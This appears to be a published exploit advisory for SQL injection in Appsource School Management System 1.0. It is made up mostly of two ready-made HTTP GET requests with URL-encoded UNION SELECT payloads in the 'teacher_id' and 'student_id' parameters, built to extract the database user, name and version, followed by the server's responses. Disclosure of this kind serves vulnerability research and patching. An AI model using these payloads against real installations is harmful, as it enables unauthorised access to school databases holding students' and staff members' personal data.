Appsource School Management System 1.0 SQL Injection

`# Exploit Title: Appsource School Management System 1.0 - 'student_id' SQL Injection  
# Dork: N/A  
# Date: 2018-10-19  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: http://www.appsource.ug/school/  
# Software Link: https://sourceforge.net/p/appsource-school-system/code/  
# Version: 1.0  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
# Description  
# Librarian, Teacher members can run the sql codes.  
  
# POC:   
# 1)  
# http://localhost/[PATH]/index.php?page=subject_allocation&teacher_id=[SQL]&selection_type=allocate_new_subject&token=  
  
GET /[PATH]/index.php?page=subject_allocation&teacher_id=%2d%33%27%20%20%55%4e%49%4f%4e%20%41%4c%4c%20%53%45%4c%45%43%54%20%31%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2d%2d%20%2d&selection_type=allocate_new_subject&token=6f241aabc241c0f1567f2eef2eb9605f HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: __test=0873e299cd6c3e39a7898a55d9894bc6; PHPSESSID=6ac2af1ef1b06c03438adef38b554175  
Connection: keep-alive  
HTTP/1.1 200 OK  
Server: nginx  
Date: Fri, 19 Oct 2018 10:52:53 GMT  
Content-Type: text/html; charset=UTF-8  
Transfer-Encoding: chunked  
Connection: keep-alive  
Vary: Accept-Encoding  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
  
# POC:   
# 2)  
# http://localhost/[PATH]/index.php?page=give_studentbook&action=borror_book&student_id=[SQL]  
  
GET /[PATH]/index.php?page=give_studentbook&action=borror_book&student_id=%31%27%20%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2d%2d%20%2d HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: __test=0873e299cd6c3e39a7898a55d9894bc6; PHPSESSID=6ac2af1ef1b06c03438adef38b554175  
Connection: keep-alive  
HTTP/1.1 200 OK  
Server: nginx  
Date: Fri, 19 Oct 2018 10:58:27 GMT  
Content-Type: text/html; charset=UTF-8  
Transfer-Encoding: chunked  
Connection: keep-alive  
Vary: Accept-Encoding  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
  
  
`